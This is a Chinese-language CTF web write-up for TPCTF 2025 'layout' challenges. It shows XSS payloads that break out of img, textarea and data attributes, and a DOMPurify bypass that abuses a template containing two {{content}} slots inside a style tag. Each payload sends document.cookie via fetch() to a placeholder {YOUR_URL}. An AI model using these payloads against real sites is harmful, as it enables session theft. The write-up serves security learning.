ctf-web: xss 任意位置插入情况绕过 DOMPurify -- tpctf layout

参考

https://ouuan.moe/post/2025/03/tpctf-2025

baby layout

题目会将 {``{cont}} 将被替换为有效负载,我们可以使用

html 复制代码
<img src="{{content}}">
html 复制代码
" onerror="fetch('{YOUR_URL}'+document.cookie)

拼接后是这样的

html 复制代码
<div>
      <img src="" onerror="fetch('{YOUR_URL}'+document.cookie)">
</div>

或者创造意外的闭合,因为</textarea>优先级大于"

html 复制代码
<textarea>{{content}}</textarea>
html 复制代码
<div id="</textarea><img src=x onerror=fetch('{YOUR_URL}'+document.cookie)>"></div>

拼接后是这样的

html 复制代码
<div>
	<textarea><div id="</textarea>
	<img src="x" onerror="fetch('{YOUR_URL}'+document.cookie)">">
</div>

或使用 data-x(safe layout非预期)

html 复制代码
<div data-x="{{content}}"></div>
html 复制代码
some_data" onerror="fetch('{YOUR_URL}'+document.cookie)

safe layout revenge

tips: 你可以使用 https://yeswehack.github.io/Dom-Explorer/ 来查看DOMPurify过滤后的内容

js 复制代码
// 创建文章接口,接收内容和布局ID,生成文章并保存  
app.post('/api/post', (req, res) => {  
  const { content, layoutId } = req.body; // 解构请求体中的内容和布局ID  
  if (typeof content !== 'string' || typeof layoutId !== 'number') {  
    return res.status(400).send('Invalid params'); // 参数类型检查  
  }  
  if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long'); // 检查内容长度是否超过限制  
  const layout = req.session.layouts[layoutId]; // 获取指定ID的布局  
  if (layout === undefined) return res.status(400).send('Layout not found'); // 布局ID无效  
  
  // 使用DOMPurify清理内容,去除不允许的HTML标签  
  const sanitizedContent = DOMPurify.sanitize(content, { ALLOWED_ATTR: [] });  
  
  // 将内容插入布局中  
  const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);  
  if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long'); // 检查生成的文章长度是否超过限制  
  
  // 生成文章ID并保存到Map中  
  const id = randomBytes(16).toString('hex');  
  posts.set(id, body);  
  req.session.posts.push(id); // 将文章ID添加到session中  
  console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);  
  
  return res.json({ id }); // 返回文章ID  
});

注意正则表达式中存在/g,这意味这我们可以在模板中防止多个{``{content}},他们都会被替换

http 复制代码
a<style>{{content}}<{{content}}</style>
复制代码
img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style>

有效负载

html 复制代码
a<style>img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style><img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style></style>

会变成

html 复制代码
<div>
      a<style>img src onerror=fetch(`{YOUR_URL}/`+document.cookie)
      <style></style>
      <img src="" onerror="fetch(`{YOUR_URL}/`+document.cookie)" <style="">
    </div>
相关推荐
mooyuan天天9 小时前
pikachu靶场通关笔记07 XSS关卡03-存储型XSS
web安全·xss·xss漏洞·存储型xss·webug靶场
中科三方19 小时前
域名解析怎么查询?有哪些域名解析查询方式?
网络安全
Thanks_ks21 小时前
计算机网络全维度解析:架构协议、关键设备、安全机制与新兴技术深度融合
网络安全·网络设备·量子通信·计算机网络架构·协议体系·新兴技术·5g 技术
lubiii_21 小时前
攻防世界János-the-Ripper
安全·网络安全
枷锁—sha1 天前
【HW系列】—C2远控服务器(webshell链接工具, metasploit、cobaltstrike)的漏洞特征流量特征
运维·服务器·网络·测试工具·web安全·网络安全
落寞的魚丶1 天前
第三届宁波技能大赛网络安全赛项样题
网络安全·渗透测试·ctf·服务器配置·第三届宁波技能大赛
small_white_robot1 天前
Tomcat- AJP协议文件读取/命令执行漏洞(幽灵猫复现)详细步骤
java·linux·网络·安全·web安全·网络安全·tomcat
半个西瓜.2 天前
JWT安全:假密钥.【签名随便写实现越权绕过.】
网络·安全·web安全·网络安全·安全威胁分析
pencek2 天前
XCTF-web-mfw
网络安全
2501_916008892 天前
Flutter、React Native、Unity 下的 iOS 性能与调试实践:兼容性挑战与应对策略(含 KeyMob 工具经验)
websocket·网络协议·tcp/ip·http·网络安全·https·udp